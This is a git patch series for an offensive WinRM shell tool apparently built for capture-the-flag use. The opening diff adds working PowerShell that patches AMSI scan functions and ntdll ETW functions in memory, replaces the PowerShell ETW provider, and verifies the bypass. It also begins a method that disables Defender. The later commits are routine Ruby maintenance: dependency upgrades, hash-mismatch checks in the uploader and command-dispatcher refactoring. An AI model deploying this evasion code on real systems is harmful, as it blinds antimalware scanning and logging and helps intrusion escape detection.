(Get-CimInstance Win32_OperatingSystem).BuildNumber + $arch = $env:PROCESSOR_ARCHITECTURE + $psVersion = $PSVersionTable.PSVersion.Major + "[+] OS Build: $osBuild | Arch: $arch | PS Version: $psVersion" + if ([int]$osBuild -ge 22000) { + "[+] Windows 11/Server 2022+ detected - using enhanced bypass" + # Enhanced bypass for Windows 11/2022+ + $enhancedBypass = <<~PS2 + $kernel32 = @" + using System; using System.Runtime.InteropServices; + public class kernel32 { + [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); + [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); + [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect); + } + "@ + Add-Type $kernel32 + $amsiDll = [kernel32]::LoadLibrary("amsi.dll") + $scanBuffer = [kernel32]::GetProcAddress($amsiDll, "AmsiScanBuffer") + $oldProtect = 0 + [kernel32]::VirtualProtect($scanBuffer, [uint32]13, 0x40, [ref]$oldProtect) | Out-Null + $patch = [Byte[]] (0x48, 0x48, 0x48, 0x48, 0x48, 0x48, 0x48, 0x48, 0x48, 0x48, 0x48, 0x48, 0xC3) + [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $scanBuffer, 13) + $scanString = [kernel32]::GetProcAddress($amsiDll, "AmsiScanString") + if ($scanString -ne [IntPtr]::Zero) { + $oldPS = 0; [kernel32]::VirtualProtect($scanString, [uint32]13, 0x40, [ref]$oldPS) | Out-Null + [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $scanString, 13) | Out-Null + } + $ntdll = [kernel32]::LoadLibrary("ntdll.dll") + $funcs = @("EtwEventWrite","EtwEventWriteTransfer","EtwEventWriteFull","EtwEventWriteEx","EtwEventWriteNoCallback","EtwEventWriteStart","EtwEventWriteEnd","EtwEventWriteExStart") + $patch = [Byte[]] (0x48, 0x33, 0xC0, 0x48, 0x33, 0xC0, 0x48, 0xC3) + foreach ($f in $funcs) { + $addr = [kernel32]::GetProcAddress($ntdll, $f) + if ($addr -ne [IntPtr]::Zero) { + $old = 0; [kernel32]::VirtualProtect($addr, 8, 0x40, [ref]$old) | Out-Null + [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $addr, 8) + } + } + try { + $type = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider') + $field = $type.GetField('etwProvider','NonPublic,Static') + if ($field -ne $null) { + $guid = [Guid]::NewGuid() + $field.SetValue($null, [Activator]::CreateInstance("System.Diagnostics.Eventing.EventProvider", $guid)) + "[+] Enhanced ETW provider replaced: $guid" + } + } catch { } + "[+] Enhanced bypass (Windows 11/2022+) completed" + PS2 + $enhancedBypass + } else { + "[+] Windows 10/Server 2016/2019 detected - using standard bypass" + "[+] Standard bypass will be used (BYPASS_4MSI_PS + ETW_BYPASS_PS)" + } + PS + + # Post-bypass verification script + BYPASS_VERIFICATION_PS = <<~PS + # Verify AMSI bypass + $amsiResult = 0 + try { + $null = [Ref].Assembly.GetType('System.Management.Automation.Am' + 'siUtils') + $amsiType = [Ref].Assembly.GetType('System.Management.Automation.Am' + 'siUtils') + if ($amsiType) { + $amsiResult = $amsiType.GetMethod('ScanString', [Reflection.BindingFlags]'NonPublic, Static').Invoke($null, @('test', [Ref]([Int32]::MinValue))) + if ($amsiResult -eq 0x80070007) { + "[+] AMSI bypass verified (return code: 0x80070007)" + } else { + "[!] AMSI bypass failed (return code: 0x{0:x}" -f $amsiResult) + } + } + } catch { + "[+] AMSI bypass status unknown (AmsiUtils not found)" + } + # Verify ETW bypass + try { + $etwType = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider') + $etwField = $etwType.GetField('etwProvider', 'NonPublic, Static') + $etwValue = $etwField.GetValue($null) + if ($etwValue -ne $null -and $etwValue.GetType().FullName -like '*EventProvider*') { + "[+] ETW bypass verified (provider: $($etwValue.GetType().Name))" + } else { + "[!] ETW bypass may have failed (provider is null or wrong type)" + } + } catch { + "[+] ETW bypass status unknown (PSEtwLogProvider not found)" + } + "[+] Bypass verification complete" + PS + def self.disable_defender(shell) # Check OS version os_info = shell.run('systeminfo | findstr /i "os name"').output.strip diff --git a/lib/evil_ctf/uploader/client.rb b/lib/evil_ctf/uploader/client.rb index 1362351..cb62d94 100644 --- a/lib/evil_ctf/uploader/client.rb +++ b/lib/evil_ctf/uploader/client.rb @@ -164,6 +164,9 @@ def upload_file(local_path, remote_path, encrypt: false, chunk_size: DEFAULT_CHU res = @shell_adapter.run(ps) remote_raw = res && res.output ? res.output.to_s : '' remote_hash = remote_raw.scan(/[0-9A-Fa-f]{64}/).first + if local_sha256 != remote_hash + return { ok: false, local_hash: local_sha256, remote_hash: remote_hash, error: "Hash mismatch: local=#{local_sha256}, remote=#{remote_hash}" } + end return { ok: true, local_hash: local_sha256, remote_hash: remote_hash, tmp_hash: remote_hash } end return true @@ -333,6 +336,13 @@ def upload_file(local_path, remote_path, encrypt: false, chunk_size: DEFAULT_CHU cleaned = remote_raw.gsub(/[^0-9A-Fa-f]/, '') remote_hash = cleaned[0,64] if cleaned && cleaned.length >= 64 end + if local_sha256 != remote_hash + begin + EvilCTF::AppState.instance.clear_upload(upload_id) rescue nil + rescue + end + return { ok: false, local_hash: local_sha256, remote_hash: remote_hash, error: "Hash mismatch: local=#{local_sha256}, remote=#{remote_hash}" } + end begin EvilCTF::AppState.instance.clear_upload(upload_id) rescue nil rescue From 005ef1591e0dc35e602962787b74a5825d973b64 Mon Sep 17 00:00:00 2001 From: giveen Date: Mon, 20 Apr 2026 22:34:01 -0600 Subject: [PATCH 16/17] Modernize Ruby 4 stack, harden TUI/dispatcher, and stabilize bypass scripts --- .bundle/config | 3 - .github/copilot-instructions.md | 12 +- .gitignore | 2 + Gemfile | 28 ++-- Gemfile.lock | 137 ++++++++++++--- RELIABILITY_REFACTOR_NOTES.md | 55 ------ bin/evil-ctf.rb | 1 + lib/compat/silence_warnings.rb | 38 +++++ lib/evil_ctf/cli.rb | 11 +- lib/evil_ctf/command_dispatcher.rb | 43 ++++- lib/evil_ctf/connection.rb | 48 ++++-- lib/evil_ctf/session.rb | 129 +++++++++----- lib/evil_ctf/shell_adapter.rb | 109 +++++++++++- lib/evil_ctf/shell_wrapper.rb | 1 + lib/evil_ctf/tools.rb | 174 +++++++------------ lib/evil_ctf/tui.rb | 233 +++++++++++++++++++++----- lib/evil_ctf/uploader.rb | 2 +- lib/evil_ctf/uploader/client.rb | 20 +-- loot/placeholder.txt | 1 - loot/session_test.log | 215 ------------------------ scripts/migrate_ruby4_dependencies.sh | 48 ++++++ 21 files changed, 752 insertions(+), 558 deletions(-) delete mode 100644 .bundle/config delete mode 100644 RELIABILITY_REFACTOR_NOTES.md create mode 100644 lib/compat/silence_warnings.rb delete mode 100644 loot/placeholder.txt delete mode 100644 loot/session_test.log create mode 100755 scripts/migrate_ruby4_dependencies.sh diff --git a/.bundle/config b/.bundle/config deleted file mode 100644 index 2865427..0000000 --- a/.bundle/config +++ /dev/null @@ -1,3 +0,0 @@ ---- -BUNDLE_PATH: "vendor/bundle" -BUNDLE_WITH: "test" diff --git a/.github/copilot-instructions.md b/.github/copilot-instructions.md index c5ea9fb..3d6d57d 100644 --- a/.github/copilot-instructions.md +++ b/.github/copilot-instructions.md @@ -1,8 +1,10 @@ - - -- [-] inspect-working-tree: Inspect changed files and diffs since last commit 🔴 -- [ ] create-commit: Stage relevant changes and create commit with descriptive message 🔴 -- [ ] push-branch: Push current branch to origin and confirm upstream status 🔴 + +- [x] audit-current-gemfile-and-usage: Inspect current Gemfile/Gemfile.lock and code usage that depends on pinned gems 🔴 +- [x] implement-rubyzip3-resolution: Decouple winrm-fs or point to compatible fork to allow rubyzip >= 3 🔴 +- [x] update-gemfile-and-warning-shim: Modernize Gemfile constraints and harden silence_warnings layer 🔴 +- [x] regenerate-lockfile-linux-bundler410: Generate Gemfile.lock with x86_64-linux platform and BUNDLED WITH 4.0.10 🔴 +- [x] deliver-migration-script-and-summary: Provide updated Gemfile content and safe migration shell script 🟡 + diff --git a/.gitignore b/.gitignore index 1e3a7f1..59c1ac7 100644 --- a/.gitignore +++ b/.gitignore @@ -1,11 +1,13 @@ # Ignore Ruby, Bundler, and system files /vendor/ +/.bundle/ /tmp/ *.log *.swp *.swo *.DS_Store /.vscode/ +/log/ /loot/ /profiles/*.yaml diff --git a/Gemfile b/Gemfile index 129e7d0..ac36801 100644 --- a/Gemfile +++ b/Gemfile @@ -1,22 +1,22 @@ source 'https://rubygems.org' -gem 'winrm', '~> 2.3' -gem 'socksify', '~> 1.8' -gem 'winrm-fs', '~> 1.3' -gem 'colorize', '~> 0.8' -gem 'concurrent-ruby', '~> 1.2' -gem 'rubyzip', '~> 2.0' -gem 'logging', '~> 2.4' -gem 'nori', '~> 2.7' -gem 'gssapi', '~> 1.3' - -# Bundler itself -gem 'bundler', '>= 2.4', '< 3.0' +gem 'winrm', '>= 2.3.9' +gem 'socksify', '>= 1.8' +gem 'colorize', '>= 0.8' +gem 'concurrent-ruby', '>= 1.2' +gem 'rubyzip', '>= 3.0' +gem 'logging', '>= 2.4' +gem 'nori', '>= 2.7' +gem 'gssapi', '>= 1.3.1' +gem 'ffi', '>= 1.17.4' +gem 'readline', '>= 0.0.4' +gem 'syslog', '>= 0.1.2' +gem 'ostruct', '>= 0.6.0' # Test/dev group :test do - gem 'rspec', '~> 3.12' - gem 'mocha', '~> 1.15' + gem 'rspec', '>= 3.12' + gem 'mocha', '>= 1.15' end group :development do diff --git a/Gemfile.lock b/Gemfile.lock index 0b60298..3c955fe 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -2,13 +2,23 @@ GEM remote: https://rubygems.org/ specs: base64 (0.3.0) - bigdecimal (4.0.1) + bigdecimal (4.1.2) builder (3.3.0) - colorize (0.8.1) + colorize (1.1.0) concurrent-ruby (1.3.6) diff-lcs (1.6.2) erubi (1.13.1) + ffi (1.17.4) + ffi (1.17.4-aarch64-linux-gnu) + ffi (1.17.4-aarch64-linux-musl) + ffi (1.17.4-arm-linux-gnu) + ffi (1.17.4-arm-linux-musl) + ffi (1.17.4-arm64-darwin) + ffi (1.17.4-x86-linux-gnu) + ffi (1.17.4-x86-linux-musl) + ffi (1.17.4-x86_64-darwin) ffi (1.17.4-x86_64-linux-gnu) + ffi (1.17.4-x86_64-linux-musl) gssapi (1.3.1) ffi (>= 1.0.1) gyoku (1.4.0) @@ -16,17 +26,25 @@ GEM rexml (~> 3.0) httpclient (2.9.0) mutex_m + io-console (0.8.2) little-plugger (1.1.4) + logger (1.7.0) logging (2.4.0) little-plugger (~> 1.1) multi_json (~> 1.14) - mocha (1.16.1) - multi_json (1.18.0) + mocha (3.1.0) + ruby2_keywords (>= 0.0.5) + multi_json (1.20.1) mutex_m (0.3.0) nori (2.7.1) bigdecimal + ostruct (0.6.3) pastel (0.8.0) tty-color (~> 0.5) + readline (0.0.4) + reline + reline (0.6.3) + io-console (~> 0.5) rexml (3.4.4) rspec (3.13.2) rspec-core (~> 3.13.0) @@ -37,19 +55,22 @@ GEM rspec-expectations (3.13.5) diff-lcs (>= 1.2.0, < 2.0) rspec-support (~> 3.13.0) - rspec-mocks (3.13.7) + rspec-mocks (3.13.8) diff-lcs (>= 1.2.0, < 2.0) rspec-support (~> 3.13.0) - rspec-support (3.13.6) + rspec-support (3.13.7) + ruby2_keywords (0.0.5) rubyntlm (0.6.5) base64 - rubyzip (2.4.1) + rubyzip (3.2.2) socksify (1.8.1) strings (0.2.1) strings-ansi (~> 0.2) unicode-display_width (>= 1.5, < 3.0) unicode_utils (~> 1.4) strings-ansi (0.2.0) + syslog (0.4.0) + logger tty-color (0.6.0) tty-cursor (0.7.1) tty-prompt (0.23.1) @@ -76,32 +97,98 @@ GEM nori (~> 2.0, >= 2.7.1) rexml (~> 3.0) rubyntlm (~> 0.6.0, >= 0.6.3) - winrm-fs (1.3.5) - erubi (~> 1.8) - logging (>= 1.6.1, < 3.0) - rubyzip (~> 2.0) - winrm (~> 2.0) wisper (2.0.1) PLATFORMS + aarch64-linux-gnu + aarch64-linux-musl + arm-linux-gnu + arm-linux-musl + arm64-darwin + ruby + x86-linux-gnu + x86-linux-musl + x86_64-darwin + x86_64-linux x86_64-linux-gnu + x86_64-linux-musl DEPENDENCIES - bundler (>= 2.4, < 3.0) - colorize (~> 0.8) - concurrent-ruby (~> 1.2) - gssapi (~> 1.3) - logging (~> 2.4) - mocha (~> 1.15) - nori (~> 2.7) - rspec (~> 3.12) - rubyzip (~> 2.0) - socksify (~> 1.8) + colorize (>= 0.8) + concurrent-ruby (>= 1.2) + ffi (>= 1.17.4) + gssapi (>= 1.3.1) + logging (>= 2.4) + mocha (>= 1.15) + nori (>= 2.7) + ostruct (>= 0.6.0) + readline (>= 0.0.4) + rspec (>= 3.12) + rubyzip (>= 3.0) + socksify (>= 1.8) + syslog (>= 0.1.2) tty-prompt tty-screen tty-table - winrm (~> 2.3) - winrm-fs (~> 1.3) + winrm (>= 2.3.9) + +CHECKSUMS + base64 (0.3.0) sha256=27337aeabad6ffae05c265c450490628ef3ebd4b67be58257393227588f5a97b + bigdecimal (4.1.2) sha256=53d217666027eab4280346fba98e7d5b66baaae1b9c3c1c0ffe89d48188a3fbd + builder (3.3.0) sha256=497918d2f9dca528fdca4b88d84e4ef4387256d984b8154e9d5d3fe5a9c8835f + colorize (1.1.0) sha256=30b5237f0603f6662ab8d1fc2bd4a96142b806c6415d79e45ef5fdc6a0cfc837 + concurrent-ruby (1.3.6) sha256=6b56837e1e7e5292f9864f34b69c5a2cbc75c0cf5338f1ce9903d10fa762d5ab + diff-lcs (1.6.2) sha256=9ae0d2cba7d4df3075fe8cd8602a8604993efc0dfa934cff568969efb1909962 + erubi (1.13.1) sha256=a082103b0885dbc5ecf1172fede897f9ebdb745a4b97a5e8dc63953db1ee4ad9 + ffi (1.17.4) sha256=bcd1642e06f0d16fc9e09ac6d49c3a7298b9789bcb58127302f934e437d60acf + ffi (1.17.4-aarch64-linux-gnu) sha256=b208f06f91ffd8f5e1193da3cae3d2ccfc27fc36fba577baf698d26d91c080df + ffi (1.17.4-aarch64-linux-musl) sha256=9286b7a615f2676245283aef0a0a3b475ae3aae2bb5448baace630bb77b91f39 + ffi (1.17.4-arm-linux-gnu) sha256=d6dbddf7cb77bf955411af5f187a65b8cd378cb003c15c05697f5feee1cb1564 + ffi (1.17.4-arm-linux-musl) sha256=9d4838ded0465bef6e2426935f6bcc93134b6616785a84ffd2a3d82bc3cf6f95 + ffi (1.17.4-arm64-darwin) sha256=19071aaf1419251b0a46852abf960e77330a3b334d13a4ab51d58b31a937001b + ffi (1.17.4-x86-linux-gnu) sha256=38e150df5f4ca555e25beca4090823ae09657bceded154e3c52f8631c1ed72cf + ffi (1.17.4-x86-linux-musl) sha256=fbeec0fc7c795bcf86f623bb18d31ea1820f7bd580e1703a3d3740d527437809 + ffi (1.17.4-x86_64-darwin) sha256=aa70390523cf3235096cf64962b709b4cfbd5c082a2cb2ae714eb0fe2ccda496 + ffi (1.17.4-x86_64-linux-gnu) sha256=9d3db14c2eae074b382fa9c083fe95aec6e0a1451da249eab096c34002bc752d + ffi (1.17.4-x86_64-linux-musl) sha256=3fdf9888483de005f8ef8d1cf2d3b20d86626af206cbf780f6a6a12439a9c49e + gssapi (1.3.1) sha256=c51cf30842ee39bd93ce7fc33e20405ff8a04cda9dec6092071b61258284aee1 + gyoku (1.4.0) sha256=389d887384c777f271cb9377bb642f20bbe0c633d1ef5af78569d4db53c1a2cd + httpclient (2.9.0) sha256=4b645958e494b2f86c2f8a2f304c959baa273a310e77a2931ddb986d83e498c8 + io-console (0.8.2) sha256=d6e3ae7a7cc7574f4b8893b4fca2162e57a825b223a177b7afa236c5ef9814cc + little-plugger (1.1.4) sha256=d5f347c00d9d648040ef7c17d6eb09d3d0719adf19ca30d1a3b6fb26d0a631bb + logger (1.7.0) sha256=196edec7cc44b66cfb40f9755ce11b392f21f7967696af15d274dde7edff0203 + logging (2.4.0) sha256=ba8893a3c211b836f4131bb93b3eb3137a0c3b1fcd0ec3d570e324d8bdc00ccb + mocha (3.1.0) sha256=75f42d69ebfb1f10b32489dff8f8431d37a418120ecdfc07afe3bc183d4e1d56 + multi_json (1.20.1) sha256=2f3934e805cc45ef91b551a1f89d0e9191abd06a5e04a2ef09a6a036c452ca6d + mutex_m (0.3.0) sha256=cfcb04ac16b69c4813777022fdceda24e9f798e48092a2b817eb4c0a782b0751 + nori (2.7.1) sha256=6166cd336959854762073e2fbae888593809cac1b3e904f4fb009313d7226861 + ostruct (0.6.3) sha256=95a2ed4a4bd1d190784e666b47b2d3f078e4a9efda2fccf18f84ddc6538ed912 + pastel (0.8.0) sha256=481da9fb7d2f6e6b1a08faf11fa10363172dc40fd47848f096ae21209f805a75 + readline (0.0.4) sha256=6138eef17be2b98298b672c3ea63bf9cb5158d401324f26e1e84f235879c1d6a + reline (0.6.3) sha256=1198b04973565b36ec0f11542ab3f5cfeeec34823f4e54cebde90968092b1835 + rexml (3.4.4) sha256=19e0a2c3425dfbf2d4fc1189747bdb2f849b6c5e74180401b15734bc97b5d142 + rspec (3.13.2) sha256=206284a08ad798e61f86d7ca3e376718d52c0bc944626b2349266f239f820587 + rspec-core (3.13.6) sha256=a8823c6411667b60a8bca135364351dda34cd55e44ff94c4be4633b37d828b2d + rspec-expectations (3.13.5) sha256=33a4d3a1d95060aea4c94e9f237030a8f9eae5615e9bd85718fe3a09e4b58836 + rspec-mocks (3.13.8) sha256=086ad3d3d17533f4237643de0b5c42f04b66348c28bf6b9c2d3f4a3b01af1d47 + rspec-support (3.13.7) sha256=0640e5570872aafefd79867901deeeeb40b0c9875a36b983d85f54fb7381c47c + ruby2_keywords (0.0.5) sha256=ffd13740c573b7301cf7a2e61fc857b2a8e3d3aff32545d6f8300d8bae10e3ef + rubyntlm (0.6.5) sha256=47013402b99ae29ee93f930af51edaec8c6008556f4be25705a422b4430314f5 + rubyzip (3.2.2) sha256=c0ed99385f0625415c8f05bcae33fe649ed2952894a95ff8b08f26ca57ea5b3c + socksify (1.8.1) sha256=cf2a01720cc32490cc657b3233730620a03b92e98281726872ebebedfea9a856 + strings (0.2.1) sha256=933293b3c95cf85b81eb44b3cf673e3087661ba739bbadfeadf442083158d6fb + strings-ansi (0.2.0) sha256=90262d760ea4a94cc2ae8d58205277a343409c288cbe7c29416b1826bd511c88 + syslog (0.4.0) sha256=c4c38ae982fe72903ec41094b5e5f2dcbbc66f510d0225c9702e5e980d827472 + tty-color (0.6.0) sha256=6f9c37ca3a4e2367fb2e6d09722762647d6f455c111f05b59f35730eeb24332a + tty-cursor (0.7.1) sha256=79534185e6a777888d88628b14b6a1fdf5154a603f285f80b1753e1908e0bf48 + tty-prompt (0.23.1) sha256=fcdbce905238993f27eecfdf67597a636bc839d92192f6a0eef22b8166449ec8 + tty-reader (0.9.0) sha256=c62972c985c0b1566f0e56743b6a7882f979d3dc32ff491ed490a076f899c2b1 + tty-screen (0.8.2) sha256=c090652115beae764336c28802d633f204fb84da93c6a968aa5d8e319e819b50 + tty-table (0.12.0) sha256=fdc27a4750835c1a16efe19a0b857e3ced3652cc7aceafe6dca94908965b9939 + unicode-display_width (2.6.0) sha256=12279874bba6d5e4d2728cef814b19197dbb10d7a7837a869bab65da943b7f5a + unicode_utils (1.4.0) sha256=b922d0cf2313b6b7136ada6645ce7154ffc86418ca07d53b058efe9eb72f2a40 + winrm (2.3.9) sha256=ef6b767c5772d06e186300b506ea5e65afb849904a551f8482a5cfc2a1be5d06 + wisper (2.0.1) sha256=ce17bc5c3a166f241a2e6613848b025c8146fce2defba505920c1d1f3f88fae6 BUNDLED WITH - 2.4.20 + 4.0.10 diff --git a/RELIABILITY_REFACTOR_NOTES.md b/RELIABILITY_REFACTOR_NOTES.md deleted file mode 100644 index 4c5028d..0000000 --- a/RELIABILITY_REFACTOR_NOTES.md +++ /dev/null @@ -1,55 +0,0 @@ -# Reliability Refactor Notes - -Goal: reduce runtime failures by simplifying critical paths and making error behavior deterministic. - -## Why This Is Needed - -Recent review found that complexity in session routing, streaming execution, and uploader fallbacks is causing brittle behavior. Specific examples include command routing breakage, argument mismatch in IPv6 helper usage, and weak integrity verification semantics. - -## Priority Plan - -1. Stabilize command routing in `lib/evil_ctf/session.rb`. -- Split the large `case` command loop into small handlers per command group. -- Keep each handler single-purpose (command parse, execute, return result). -- Add focused specs for command dispatch of `lsass_dump`, `invoke-binary`, `dll-loader`, and `donut-loader`. - -2. Simplify and harden execution streaming in `lib/evil_ctf/execution.rb`. -- Capture and track only the exact PowerShell job started by the call. -- Avoid selecting from global running jobs. -- Return explicit status for timeout, success, and command failure. -- Add tests for job selection correctness and timeout behavior. - -3. Make uploader verification strict in `lib/evil_ctf/uploader/client.rb`. -- If `verify: true`, compare local and remote hashes and fail on mismatch. -- Return `ok: false` plus mismatch details instead of unconditional success. -- Keep advanced fallbacks (WinRM::FS, chunked, ADS) but unify final success criteria. - -4. Reduce broad exception swallowing. -- Replace generic `rescue => e` where practical with narrower exceptions. -- Keep user-friendly messages, but preserve root-cause signal in logs. -- Ensure recoverable failures return structured status instead of silent continuation. - -## Quick Wins - -1. Fix IPv6 helper arity mismatch. -- Align `run_session` call site with `add_ipv6_to_hosts(ip, hostname)` signature. - -2. Untangle malformed command branch structure in `session.rb`. -- Ensure each `when` branch contains only its own command body. - -3. Enforce hash verification semantics. -- Treat `verify: true` as a hard contract. - -## Suggested Work Sequence - -1. Session command routing refactor + tests. -2. Execution stream correctness + tests. -3. Uploader verify contract + tests. -4. Exception handling cleanup pass. - -## Definition Of Done - -- High-risk command paths are covered by specs. -- Stream path does not depend on global job state. -- Upload verify path fails on hash mismatch. -- Error paths are observable and diagnosable. diff --git a/bin/evil-ctf.rb b/bin/evil-ctf.rb index a0c55ab..ebb8e38 100755 --- a/bin/evil-ctf.rb +++ b/bin/evil-ctf.rb @@ -4,6 +4,7 @@ # AWINRM CTF Edition require 'optparse' +require_relative '../lib/compat/silence_warnings' require 'winrm' require 'ipaddr' require 'socket' diff --git a/lib/compat/silence_warnings.rb b/lib/compat/silence_warnings.rb new file mode 100644 index 0000000..db1f672 --- /dev/null +++ b/lib/compat/silence_warnings.rb @@ -0,0 +1,38 @@ +# frozen_string_literal: true + +# Ruby 4.0 compatibility helper: +# suppresses only known noisy winrm warnings while leaving all other warnings intact. +module EvilCTF + module Compat + module SilenceWarnings + WINRM_OBJECT_ID_WARNING = /winrm\/psrp\/(fragment|message_fragmenter)\.rb:\d+: warning: redefining 'object_id' may cause serious problems/ + WINRM_REDEFINE_WARNING = /winrm\/psrp\/.*warning: redefining 'object_id' may cause serious problems/ + + module WarningFilter + def warn(message, category: nil, **kwargs) + return if message.to_s.match?(WINRM_OBJECT_ID_WARNING) + + super(message, category: category, **kwargs) + rescue ArgumentError + # Older Ruby warning signatures may not support category/kwargs. + super(message) + end + end + + def self.enable! + return unless defined?(Warning) + return if @enabled + + if Warning.respond_to?(:ignore) + Warning.ignore(WINRM_OBJECT_ID_WARNING) + Warning.ignore(WINRM_REDEFINE_WARNING) + else + Warning.singleton_class.prepend(WarningFilter) + end + @enabled = true + end + end + end +end + +EvilCTF::Compat::SilenceWarnings.enable! \ No newline at end of file diff --git a/lib/evil_ctf/cli.rb b/lib/evil_ctf/cli.rb index 089b7a7..1cd8221 100644 --- a/lib/evil_ctf/cli.rb +++ b/lib/evil_ctf/cli.rb @@ -106,7 +106,7 @@ def self.run(argv) # Connection validation before session if options[:verify] endpoint = options[:endpoint] || "#{options[:ssl] ? 'https' : 'http'}://#{options[:ip]}:#{options[:port] || 5985}/wsman" - conn = EvilCTF::Connection.build_full( + validation = EvilCTF::Session.test_connection( endpoint: endpoint, user: options[:user], password: options[:password], @@ -117,15 +117,12 @@ def self.run(argv) ssl: options[:ssl], debug: options[:debug], transport: options[:transport], - user_agent: options[:user_agent] + user_agent: options[:user_agent], + timeout: 10 ) - unless conn - puts "[!] Connection failed: Could not create connection to #{endpoint}" - exit 1 - end - validation = EvilCTF::ConnectionValidator.validate(conn) unless validation[:ok] puts "[!] Connection validation failed: #{validation[:error]}" + puts validation[:report] if validation[:report] exit 1 end puts "[+] Connection validated: #{validation[:hostname]}" diff --git a/lib/evil_ctf/command_dispatcher.rb b/lib/evil_ctf/command_dispatcher.rb index c6d7a2a..69aa2b6 100644 --- a/lib/evil_ctf/command_dispatcher.rb +++ b/lib/evil_ctf/command_dispatcher.rb @@ -12,6 +12,21 @@ module EvilCTF # Dispatcher for handling commands in the EvilCTF session. # Replaces the large case statement in session.rb with a handler-based approach. class CommandDispatcher + def self.instance + @instance ||= new + end + + def self.dispatch(name:, args: nil, shell:, session_options:, command_manager: nil, history: nil) + instance.dispatch( + name: name, + args: args, + shell: shell, + session_options: session_options, + command_manager: command_manager, + history: history + ) + end + attr_reader :handlers def initialize @@ -37,29 +52,40 @@ def unregister(name) # Dispatch a command and return a result hash. # Returns: - # { ok: true, output: "" } on success - # { ok: false, output: "", error: "" } on failure + # { ok: true, output: "", handled: true } on success + # { ok: false, output: "", error: "", handled: true } on handler failure # { ok: false, output: "", handled: false } not a known command, pass through def dispatch(name:, args: nil, shell:, session_options:, command_manager: nil, history: nil) # Make command_manager and history available in session_options for handlers session_options[:command_manager] = command_manager if command_manager session_options[:history] = history if history - normalized = name.strip.downcase + normalized = name.to_s.strip.downcase + normalized = 'help' if normalized == 'menu' + tokens = normalized.split(/\s+/) # Special handling for 'history' command with optional argument if normalized == 'history' && args && args.strip != '' normalized = 'history ' + args.strip.downcase end - handler = @handlers[normalized] + # Resolve command key in a tolerant order so full user input still maps + # to one-word or two-word registered handlers. + candidate_keys = [] + candidate_keys << normalized unless normalized.empty? + candidate_keys << tokens[0, 2].join(' ') if tokens.length >= 2 + candidate_keys << tokens.first if tokens.first + candidate_keys.uniq! + + command_key = candidate_keys.find { |key| @handlers.key?(key) } + handler = command_key ? @handlers[command_key] : nil return { ok: false, output: '', handled: false } unless handler begin output = handler.call(shell, args, session_options) - { ok: true, output: output.to_s } + { ok: true, output: output.to_s, handled: true } rescue => e - { ok: false, output: '', error: e.message } + { ok: false, output: '', error: e.message, handled: true } end end @@ -117,6 +143,11 @@ def register_core_commands output end + # menu is a friendly alias used by operators + register('menu') do |shell, args, session_options| + @handlers['help'].call(shell, args, session_options) + end + # clear register('clear') do |shell, args, session_options| system('clear || cls') diff --git a/lib/evil_ctf/connection.rb b/lib/evil_ctf/connection.rb index ef7fadc..2389815 100644 --- a/lib/evil_ctf/connection.rb +++ b/lib/evil_ctf/connection.rb @@ -3,41 +3,53 @@ Fixnum = Integer end +require_relative '../compat/silence_warnings' require 'winrm' rescue nil module EvilCTF module Connection # Centralized WinRM connection builder supporting all options and robust error handling - # opts: endpoint, user, password, hash, kerberos, realm, keytab, ssl, debug, transport - def self.build_full(opts = {}) + # Ruby 4.0 migration note: + # Prefer keyword arguments and keep a temporary Hash shim for legacy callers. + def self.build_full(opts = nil, **kwargs) + if opts && !opts.is_a?(Hash) + raise ArgumentError, 'build_full expects keyword args (or a legacy Hash)' + end + + if opts + warn '[DEPRECATION] build_full(Hash) is deprecated; use keyword arguments instead.' + end + + params = (opts || {}).merge(kwargs) + return nil unless defined?(WinRM::Connection) - endpoint = opts[:endpoint] || opts[:url] - user = opts[:user] - pass = opts[:password] - hash = opts[:hash] - kerberos = opts[:kerberos] - realm = opts[:realm] - keytab = opts[:keytab] - ssl = opts[:ssl] - debug = opts[:debug] - transport = opts[:transport] + endpoint = params[:endpoint] || params[:url] + user = params[:user] + pass = params[:password] + hash = params[:hash] + kerberos = params[:kerberos] + realm = params[:realm] + keytab = params[:keytab] + ssl = params[:ssl] + debug = params[:debug] + transport = params[:transport] # Default port logic - if endpoint.nil? && opts[:ip] - port = opts[:port] || (ssl ? 5986 : 5985) + if endpoint.nil? && params[:ip] + port = params[:port] || (ssl ? 5986 : 5985) scheme = ssl ? 'https' : 'http' - endpoint = "#{scheme}://#{opts[:ip]}:#{port}/wsman" + endpoint = "#{scheme}://#{params[:ip]}:#{port}/wsman" end options = { - no_ssl_peer_verification: !!opts[:ssl_no_verify], + no_ssl_peer_verification: !!params[:ssl_no_verify], debug: !!debug } # Inject custom User-Agent if provided - if opts[:user_agent] + if params[:user_agent] options[:http_client] = WinRM::HTTP::HttpTransport.new(endpoint, {}) - options[:http_client].instance_variable_get(:@httpcli).default_header['User-Agent'] = opts[:user_agent] + options[:http_client].instance_variable_get(:@httpcli).default_header['User-Agent'] = params[:user_agent] end begin diff --git a/lib/evil_ctf/session.rb b/lib/evil_ctf/session.rb index 408198e..2c05826 100644 --- a/lib/evil_ctf/session.rb +++ b/lib/evil_ctf/session.rb @@ -22,6 +22,73 @@ module EvilCTF::Session # Alias for the uploader helper Uploader = EvilCTF::Uploader + def self.test_connection(endpoint:, user:, password:, hash: nil, ssl: false, + kerberos: false, realm: nil, keytab: nil, + debug: false, transport: nil, user_agent: nil, + timeout: 10) + begin + conn = EvilCTF::Connection.build_full( + endpoint: endpoint, + user: user, + password: password, + hash: hash, + kerberos: kerberos, + realm: realm, + keytab: keytab, + ssl: ssl, + debug: debug, + transport: transport, + user_agent: user_agent + ) + return { ok: false, error: "Could not create connection for #{endpoint}" } unless conn + + validation = EvilCTF::ConnectionValidator.validate(conn, timeout: timeout) + return validation if validation[:ok] + + report = nil + if validation[:error].to_s.match?(/wrong number of arguments|unknown keyword|no keywords accepted|given \d+, expected \d+/i) + report = ruby40_compatibility_report( + endpoint: endpoint, + operation: 'ConnectionValidator.validate', + detail: validation[:error] + ) + end + validation.merge(report: report) + rescue ArgumentError => e + report = ruby40_compatibility_report( 